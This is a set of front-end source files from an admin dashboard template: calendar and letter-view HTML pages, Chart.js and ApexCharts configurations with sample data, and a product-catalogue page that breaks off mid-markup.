class="btn btn-secondary btn-block " data-toggle="modal">
New Task, Call or Meeting
</button>
</div>
<div id="lnb-calendars" class="lnb-calendars">
<div>
<div class="lnb-calendars-item">
<label>
<input class="tui-full-calendar-checkbox-square" type="checkbox" value="all"
checked>
<span></span>
<strong>View all</strong>
</label>
</div>
</div>
<div id="calendarList" class="lnb-calendars-d1">
</div>
</div>
</div>
<div id="right" class="col-10">
<div id="menu">
<div class="dropdown">
<button id="dropdownMenu-calendarType"
class="btn btn-primary btn-sm btn-pill dropdown-toggle" type="button"
data-toggle="dropdown"
aria-haspopup="true" aria-expanded="true">
<i id="calendarTypeIcon" class="calendar-icon ic_view_month"></i>
<span id="calendarTypeName">Dropdown</span>
<i class="calendar-icon tui-full-calendar-dropdown-arrow"></i>
</button>
<ul class="dropdown-menu" role="menu" aria-labelledby="dropdownMenu-calendarType">
<li role="presentation">
<a class="dropdown-menu-title" role="menuitem" data-action="toggle-daily">
<i class="calendar-icon ic_view_day"></i>Daily
</a>
</li>
<li role="presentation">
<a class="dropdown-menu-title" role="menuitem" data-action="toggle-weekly">
<i class="calendar-icon ic_view_week"></i>Weekly
</a>
</li>
<li role="presentation">
<a class="dropdown-menu-title" role="menuitem" data-action="toggle-monthly">
<i class="calendar-icon ic_view_month"></i>Month
</a>
</li>
<li role="presentation">
<a class="dropdown-menu-title" role="menuitem" data-action="toggle-weeks2">
<i class="calendar-icon ic_view_week"></i>2 weeks
</a>
</li>
<li role="presentation">
<a class="dropdown-menu-title" role="menuitem" data-action="toggle-weeks3">
<i class="calendar-icon ic_view_week"></i>3 weeks
</a>
</li>
<li role="presentation" class="dropdown-divider"></li>
<li role="presentation">
<a role="menuitem" data-action="toggle-workweek">
<input type="checkbox" class="tui-full-calendar-checkbox-square"
value="toggle-workweek" checked>
<span class="checkbox-title"></span>Show weekends
</a>
</li>
<li role="presentation">
<a role="menuitem" data-action="toggle-start-day-1">
<input type="checkbox" class="tui-full-calendar-checkbox-square"
value="toggle-start-day-1">
<span class="checkbox-title"></span>Start Week on Monday
</a>
</li>
<li role="presentation">
<a role="menuitem" data-action="toggle-narrow-weekend">
<input type="checkbox" class="tui-full-calendar-checkbox-square"
value="toggle-narrow-weekend">
<span class="checkbox-title"></span>Narrower than weekdays
</a>
</li>
</ul>
</div>
<span id="menu-navi">
<button type="button"
class="btn btn-success btn-sm btn-pill move-today"
data-action="move-today">Today</button>
<button type="button"
class="btn btn-primary btn-pill btn-sm move-day"
data-action="move-prev">
<i class="calendar-icon ic-arrow-line-left"
data-action="move-prev"></i>
</button>
<button type="button"
class="btn btn-primary btn-pill btn-sm move-day "
data-action="move-next">
<i class="calendar-icon ic-arrow-line-right"
data-action="move-next"></i>
</button>
</span>
<span id="renderRange" class="render-range"></span>
</div>
<div id="calendar" class="table-responsive h-800"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/calendar2/js/tui-code-snippet.min.js',
'/assets/plugins/calendar2/js/tui-time-picker.min.js',
'/assets/plugins/calendar2/js/moment.min.js',
'/assets/plugins/calendar2/js/chance.min.js',
'/assets/plugins/calendar2/js/tui-calendar.js',
'/assets/plugins/calendar2/js/calendars.js',
'/assets/plugins/calendar2/js/schedules.js',
'/assets/plugins/calendar2/js/dooray.js',
'/assets/plugins/calendar2/js/default.js',
];
?>
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Letter View</h4>
<div class="float-right ml-auto">
<a href="#" class="btn btn-primary bg-red"><i
class="fas fa-trash mr-1"></i>Delete</a>
</div>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-8">
<div id="text section">
<div class="card">
<div class="card-header">
<div class="card-title font-weight-bold"><i
class="fas fa-feather-alt text-primary text-center"></i> Letter Text
</div>
</div>
<div class="card-body">
<blockquote class="blockquote mb-0 card-body">
<p class="text-dark">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Praesent semper
feugiat nibh sed. Neque aliquam vestibulum morbi blandit. Ipsum consequat nisl
vel pretium lectus quam id leo in. Quam elementum pulvinar etiam non quam lacus.
Rhoncus dolor purus non enim praesent. Euismod in pellentesque massa placerat
duis. Pellentesque habitant morbi tristique senectus et. Posuere morbi leo urna
molestie. Quam elementum pulvinar etiam non quam lacus. Quam pellentesque nec
nam aliquam. Quam nulla porttitor massa id neque aliquam vestibulum morbi. </p>
<footer class="blockquote-footer">
<small class="text-muted font-weight-bold mb-3">
<NAME> <cite title="Source Title">public relations expert</cite>
</small>
<div class="dropdown-list-footer bd-t mt-7 mb-7">
<p href="" class="text-primary "><i class="fas fa-angle-down mg-r-5"></i>
Attached Files</p>
</div>
<div>
<!--
.
.
attached files
.
.
-->
</div>
</footer>
</blockquote>
</div>
</div>
</div>
<div id="tracking status section">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Tracking Status</h3>
</div>
<div class="card-body">
<div class="timeline">
<div class="timeline__wrap">
<div class="timeline__items">
<div class="timeline__item">
<div class="timeline__content ">
<h2>15th Jan 2019</h2>
<p>Nam libero tempore, cum soluta nobis est eligendi optio cumque
placeat facere possimus, omnis voluptas assumenda est, omnis
dolor repellendus</p>
<a href="#" class="btn btn-primary btn-sm mt-2">View More</a>
</div>
</div>
<div class="timeline__item">
<div class="timeline__content ">
<h2>18th Jan 2019</h2>
<p>No one rejects, dislikes, or avoids pleasure itself, because it
is pleasure, but because those who do not know how to pursue
pleasure .</p>
</div>
</div>
<div class="timeline__item">
<div class="timeline__content">
<h2>23rd Jan 2019</h2>
<img src="../assets/images/photos/2.jpg" alt="img">
<p class="mt-2">Itaque earum rerum hic tenetur a sapiente delectus,
ut aut reiciendis voluptatibus maiores alias consequatur</p>
</div>
</div>
<div class="timeline__item">
<div class="timeline__content ">
<h2>25th Jan 2019</h2>
<img src="../assets/images/photos/4.jpg" alt="img">
<p class="mt-2">On the other hand, we denounce with righteous
indignation and dislike men who are so beguiled and demoralized
by the charms</p>
<a href="#" class="btn btn-outline-success btn-sm mt-2 mb-0">View
More</a>
</div>
</div>
<div class="timeline__item ">
<div class="timeline__content">
<h2>28th Jan 2019</h2>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer
dignissim neque condimentum lacus dapibus.</p>
<a href="#" class="btn btn-info btn-sm mt-2">More info</a>
</div>
</div>
<div class="timeline__item">
<div class="timeline__content">
<h2>01st Feb 2019</h2>
<img src="../assets/images/photos/5.jpg" alt="img">
<p class="mt-2">Duis aute irure dolor in reprehenderit in voluptate
velit esse cillum dolore eu fugiat nulla pariatur.</p>
</div>
</div>
<div class="timeline__item">
<div class="timeline__content">
<h2>03rd Feb 2019</h2>
<img src="../assets/images/photos/12.jpg" alt="img">
<a href="#" class="btn btn-danger btn-sm mt-2">More info</a>
</div>
</div>
<div class="timeline__item">
<div class="timeline__content">
<h2>06th Feb 2019</h2>
<img src="../assets/images/photos/21.jpg" alt="img">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-4">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro7.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h3 class="mt-3 mb-0"><a class="hover-primary" href="#">From</a></h3>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Employee</span>
<div>
<span class="badge badge-default">designer</span>
</div>
<div class="mt-4 mb-5">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i
class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i
class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i
class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro1.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h3 class="mt-3 mb-0"><a class="hover-primary" href="#">To</a></h3>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Employee</span>
<div>
<span class="badge badge-default">designer</span>
</div>
<div class="mt-4 mb-5">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i
class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i
class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i
class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div id="letter Info">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Letter Info</h3>
</div>
<div class="card-body p-3">
<div class="panel panel-primary">
<div class=" ">
<div class="tabs-menu1 ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div id="basic info" class="p-3 text-left">
<div class="media-list">
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-hashtag" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Title</h6><span
class="d-block">Equipment Request</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-map-signs" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Type</h6><span
class="d-block">Official</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-link" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">Related To</h6>
<span class="d-block">Logistic Unit </span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-sign-out-alt" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">From</h6><span
class="d-block">Saghar Nikpoor</span>
</div>
</div>
<div class="media mt-1 pb-2">
<div class="mediaicon">
<i class="fas fa-tags" aria-hidden="true"></i>
</div>
<div class="media-body ml-5 mt-1">
<h6 class="mediafont text-dark mb-1">From</h6><span
class="d-block">Priority</span>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/timeline/timeline.min.js',
'/assets/js/timeline.js'
];
?><file_sep>(function($) {
"use strict";
/*----ApexCharts----*/
var options = {
chart: {
height: 300,
type: 'bar',
},
plotOptions: {
bar: {
horizontal: false,
endingShape: 'rounded',
columnWidth: '55%',
},
},
dataLabels: {
enabled: false
},
stroke: {
show: true,
width: 2,
colors: ['transparent']
},
series: [{
name: 'Net Profit',
data: [44, 55, 57, 56, 61, 58, 63, 60, 66]
}, {
name: 'Revenue',
data: [76, 85, 101, 98, 87, 105, 91, 114, 94]
}, {
name: 'Free Cash Flow',
data: [35, 41, 36, 26, 45, 48, 52, 53, 41]
}],
xaxis: {
categories: ['Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct'],
fontColor: "#6b656f",
color: 'rgba(255,255,255,0.05)'
},
yaxis: {
color: 'rgba(255,255,255,0.05)'
},
fill: {
opacity: 1
},
colors: ['#45aaf2', '#5C6C7C', '#f2574c' ],
tooltip: {
y: {
formatter: function (val) {
return "$ " + val + " "
}
}
}
}
var chart = new ApexCharts(
document.querySelector("#chart"),
options
);
chart.render();
/*-----BarChart-----*/
var ctx = document.getElementById( "barChart" );
var myChart = new Chart( ctx, {
type: 'horizontalBar',
data: {
labels: [ "January", "February", "March", "April", "May", "June", "July" ],
datasets: [
{
label: "Credits",
data: [ 65, 59, 80, 81, 56, 55, 40 ],
borderColor: "rgba(83,18,127, 0.9)",
borderWidth: "0",
backgroundColor: "rgba(83,18,127, 0.7)"
},
{
label: "Debits",
data: [ 28, 48, 40, 19, 86, 27, 90 ],
borderColor: "rgba(242,87,76,0.9)",
borderWidth: "0",
backgroundColor: "rgba(242,87,76,0.7)"
},
{
label: "Income",
data: [ 70, 68, 95, 120, 69, 64, 78],
borderColor: "rgba(36, 226, 113, 0.9)",
borderWidth: "0",
backgroundColor: "rgba(36, 226, 113, 0.7)"
},
{
label: "Net Profit",
data: [ 80, 78, 120, 114, 85, 76, 69 ],
borderColor: "rgba(69, 170, 242, 0.9)",
borderWidth: "0",
backgroundColor: "rgba(69, 170, 242, 0.7)"
}
]
},
options: {
maintainAspectRatio: false,
responsive: true,
scales: {
yAxes: [ {
barPercentage: 0.3,
ticks: {
beginAtZero: true,
fontColor: "#6b656f",
},
gridLines: {
display: true,
drawBorder: false,
color: 'rgba(255,255,255,0.05)'
},
} ]
}
}
} );
/*-----AreaChart1-----*/
var ctx = document.getElementById( "AreaChart1" );
ctx.height = 100;
var myChart = new Chart( ctx, {
type: 'line',
data: {
labels: ['Mon', 'Tues', 'Wed', 'Thurs', 'Fri', 'Sat', 'Sun'],
type: 'line',
datasets: [ {
data: [45, 55, 32, 67, 49, 72, 52],
label: 'views',
backgroundColor: 'rgb(245, 54, 92,0.6)',
borderColor: 'rgba(245, 54, 92, 0.9)',
}, ]
},
options: {
maintainAspectRatio: false,
legend: {
display: false
},
responsive: true,
tooltips: {
mode: 'index',
titleFontSize: 12,
titleFontColor: '#7886a0',
bodyFontColor: '#7886a0',
backgroundColor: '#fff',
titleFontFamily: 'Montserrat',
bodyFontFamily: 'Montserrat',
cornerRadius: 3,
intersect: false,
},
scales: {
xAxes: [ {
gridLines: {
color: 'transparent',
zeroLineColor: 'transparent'
},
ticks: {
fontSize: 2,
fontColor: 'transparent',
fontColor: "#6b656f",
}
} ],
yAxes: [ {
display:false,
ticks: {
display: false,
fontColor: "#6b656f",
}
} ]
},
title: {
display: false,
},
elements: {
line: {
borderWidth: 1
},
point: {
radius: 4,
hitRadius: 10,
hoverRadius: 4
}
}
}
} );
/*-----AreaChart2-----*/
var ctx = document.getElementById( "AreaChart2" );
ctx.height = 50;
var myChart = new Chart( ctx, {
type: 'line',
data: {
labels: ['Mon', 'Tues', 'Wed', 'Thurs', 'Fri', 'Sat', 'Sun'],
type: 'line',
datasets: [ {
data: [0, 83, 43, 67, 35, 76, 0],
label: 'Conversion',
backgroundColor: 'rgba(83, 18, 127,0.1)',
pointBorderColor: 'transparent',
pointBackgroundColor: 'transparent',
borderColor: 'rgba(83, 18, 127)',
}, ]
},
options: {
maintainAspectRatio: false,
legend: {
display: false
},
responsive: true,
tooltips: {
mode: 'index',
titleFontSize: 12,
titleFontColor: '#7886a0',
bodyFontColor: '#7886a0',
backgroundColor: '#fff',
titleFontFamily: 'Montserrat',
bodyFontFamily: 'Montserrat',
cornerRadius: 3,
intersect: false,
},
scales: {
xAxes: [ {
gridLines: {
color: 'transparent',
zeroLineColor: 'transparent'
},
ticks: {
fontSize: 2,
fontColor: 'transparent'
}
} ],
yAxes: [ {
display:false,
ticks: {
display: false,
}
} ]
},
title: {
display: false,
},
elements: {
line: {
borderWidth: 1
},
point: {
radius: 4,
hitRadius: 10,
hoverRadius: 4
}
}
}
} );
/*-----AreaChart3-----*/
var ctx = document.getElementById( "AreaChart3" );
ctx.height = 50;
var myChart = new Chart( ctx, {
type: 'line',
data: {
labels: ['Mon', 'Tues', 'Wed', 'Thurs', 'Fri', 'Sat', 'Sun'],
type: 'line',
datasets: [ {
data: [0, 67, 76, 83 ,35, 43, 0],
label: 'Conversion',
backgroundColor: 'rgba(245, 54, 92,0.1)',
pointBorderColor: 'transparent',
pointBackgroundColor: 'transparent',
borderColor: 'rgba(245, 54, 92)',
}, ]
},
options: {
maintainAspectRatio: false,
legend: {
display: false
},
responsive: true,
tooltips: {
mode: 'index',
titleFontSize: 12,
titleFontColor: '#7886a0',
bodyFontColor: '#7886a0',
backgroundColor: '#fff',
titleFontFamily: 'Montserrat',
bodyFontFamily: 'Montserrat',
cornerRadius: 3,
intersect: false,
},
scales: {
xAxes: [ {
gridLines: {
color: 'transparent',
zeroLineColor: 'transparent'
},
ticks: {
fontSize: 2,
fontColor: 'transparent'
}
} ],
yAxes: [ {
display:false,
ticks: {
display: false,
}
} ]
},
title: {
display: false,
},
elements: {
line: {
borderWidth: 1
},
point: {
radius: 4,
hitRadius: 10,
hoverRadius: 4
}
}
}
} );
/*-----AreaChart4-----*/
var ctx = document.getElementById( "AreaChart4" );
ctx.height = 50;
var myChart = new Chart( ctx, {
type: 'line',
data: {
labels: ['Mon', 'Tues', 'Wed', 'Thurs', 'Fri', 'Sat', 'Sun'],
type: 'line',
datasets: [ {
data: [0, 46, 55, 76, 63, 23,0],
label: 'Conversion',
backgroundColor: 'rgba(36, 226, 113,0.1)',
pointBorderColor: 'transparent',
pointBackgroundColor: 'transparent',
borderColor: 'rgba(36, 226, 113)',
}, ]
},
options: {
maintainAspectRatio: false,
legend: {
display: false
},
responsive: true,
tooltips: {
mode: 'index',
titleFontSize: 12,
titleFontColor: '#7886a0',
bodyFontColor: '#7886a0',
backgroundColor: '#fff',
titleFontFamily: 'Montserrat',
bodyFontFamily: 'Montserrat',
cornerRadius: 3,
intersect: false,
},
scales: {
xAxes: [ {
gridLines: {
color: 'transparent',
zeroLineColor: 'transparent'
},
ticks: {
fontSize: 2,
fontColor: 'transparent'
}
} ],
yAxes: [ {
display:false,
ticks: {
display: false,
}
} ]
},
title: {
display: false,
},
elements: {
line: {
borderWidth: 1
},
point: {
radius: 4,
hitRadius: 10,
hoverRadius: 4
}
}
}
} );
/*-----AreaChart4-----*/
var ctx = document.getElementById( "AreaChart5" );
ctx.height = 50;
var myChart = new Chart( ctx, {
type: 'line',
data: {
labels: ['Mon', 'Tues', 'Wed', 'Thurs', 'Fri', 'Sat', 'Sun'],
type: 'line',
datasets: [ {
data: [0, 67, 35, 76, 83, 43, 0],
label: 'Conversion',
backgroundColor: 'rgba(69, 170, 242,0.1)',
pointBorderColor: 'transparent',
pointBackgroundColor: 'transparent',
borderColor: 'rgba(69, 170, 242)',
}, ]
},
options: {
maintainAspectRatio: false,
legend: {
display: false
},
responsive: true,
tooltips: {
mode: 'index',
titleFontSize: 12,
titleFontColor: '#7886a0',
bodyFontColor: '#7886a0',
backgroundColor: '#fff',
titleFontFamily: 'Montserrat',
bodyFontFamily: 'Montserrat',
cornerRadius: 3,
intersect: false,
},
scales: {
xAxes: [ {
gridLines: {
color: 'transparent',
zeroLineColor: 'transparent'
},
ticks: {
fontSize: 2,
fontColor: 'transparent'
}
} ],
yAxes: [ {
display:false,
ticks: {
display: false,
}
} ]
},
title: {
display: false,
},
elements: {
line: {
borderWidth: 1
},
point: {
radius: 4,
hitRadius: 10,
hoverRadius: 4
}
}
}
} );
})(jQuery);<file_sep>(function($) {
"use strict";
//doughut chart
var ctx = document.getElementById( "doughutChart" );
var myChart = new Chart( ctx, {
type: 'doughnut',
data: {
datasets: [ {
data: [ 9187, 3654, 7319, 1875 ],
backgroundColor: [
"#5C6C7C",
"#4cf257",
"#f2574c",
"#f2aa4c"
],
hoverBackgroundColor: [
"#5C6C7C",
"#4cf257",
"#f2574c",
"#f2aa4c"
]
} ],
labels: [
"FaceBook",
"Instragram",
"Twitter",
"LinkedIn",
]
},
options: {
responsive: true,
maintainAspectRatio: false,
}
} );
/*----ApexCharts----*/
var options = {
chart: {
height: 300,
type: 'bar',
},
plotOptions: {
bar: {
horizontal: false,
endingShape: 'rounded',
columnWidth: '70%',
},
},
dataLabels: {
enabled: false
},
stroke: {
show: true,
width: 2,
colors: ['transparent']
},
series: [{
name: 'likes',
data: [286, 498, 834, 589, 426, 683, 489, 289]
}, {
name: 'Clicks',
data: [734, 392, 528, 628, 839, 382, 489, 894]
}, {
name: 'Comments',
data: [163, 493, 836, 389, 592, 653, 894, 482]
}],
xaxis: {
categories: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug'],
},
yaxis: {
},
fill: {
opacity: 1
},
colors: ['#f2574c', '#5C6C7C', '#f2aa4c'],
tooltip: {
y: {
formatter: function (val) {
return " " + val + " "
}
}
}
}
var chart = new ApexCharts(
document.querySelector("#social"),
options
);
chart.render();
/*--impression charts--*/
var options = {
chart: {
height: 300,
type: 'bar',
},
plotOptions: {
bar: {
horizontal: true,
}
},
dataLabels: {
enabled: false
},
series: [{
name: 'Imperssions',
data: [895, 378, 892, 392, 937, 639, 467, 839, 927, 672]
}],
xaxis: {
categories: ['2011', '2012', '2013', '2014', '2015', '2016', '2017', '2018'],
},
yaxis: {
},
colors: ['#5C6C7C'],
tooltip: {
}
}
var chart = new ApexCharts(
document.querySelector("#chart"),
options
);
chart.render();
})(jQuery);<file_sep><!-- Date Picker Plugin -->
<link href="../assets/plugins/date-picker/spectrum.css" rel="stylesheet"/>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Products</h4>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-xl-9">
<div class="row">
<div class="col-lg-4">
<div class="card item-card">
<div class="arrow-ribbon bg-primary">20% off</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/110391793.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Picture Frame</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$80
<del class="h4 text-muted ml-2">$100</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="/product-single" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card item-card">
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/5262099.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Wedding Album</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$876
<del class="h4 text-muted ml-2">$1,056</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card item-card">
<div class="arrow-ribbon bg-success">New</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/3865771.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Fancy Album</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$45,450
<del class="h4 text-muted ml-2">$55,000</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4">
<div class="card item-card">
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/110260036.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Kids Album</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$2,567
<del class="h4 text-muted ml-2">$3,198</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card item-card">
<div class="arrow-ribbon bg-pink">New</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/3028066.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Lights</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$8,546
<del class="h4 text-muted ml-2">$9,540</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
<a href="javascript:void(0)" class="btn btn-danger btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to like"><i
class="si si-heart"></i></a>
<a href="javascript:void(0)" class="btn btn-info btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Compare"><i
class="fas fa-balance-scale"></i></a>
</div>
</div>
</div>
<div class="col-lg-4">
<div class="card item-card">
<div class="arrow-ribbon bg-info">15%</div>
<div class="card-body pb-0">
<div class="text-center">
<img src="../assets/images/photos/110459761.jpg" alt="img" class="img-fluid">
</div>
<div class="card-body cardbody">
<div class="product-text text-center">
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star text-warning"></i></a>
<a href="#"><i class="fas fa-star-half-alt text-warning"></i></a>
<a href="#"><i class="far fa-star text-warning"></i></a>
<h5 class="font-weight-semibold mt-2 mb-2"><a href="#">Women Album</a></h5>
<h4 class="mb-0 font-weight-bold fs-22">$986
<del class="h4 text-muted ml-2">$1,476</del>
</h4>
</div>
</div>
</div>
<div class="text-center border-top">
<a href="shop-des.html" class="btn btn-primary btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="More info"><i class="fe fe-eye"></i></a>
<a href="cart.html" class="btn btn-success btn-sm mt-4 mb-4" data-toggle="tooltip"
data-placement="top" title="" data-original-title="Add to cart"><i
class="fas fa-shopping-cart"></i></a>
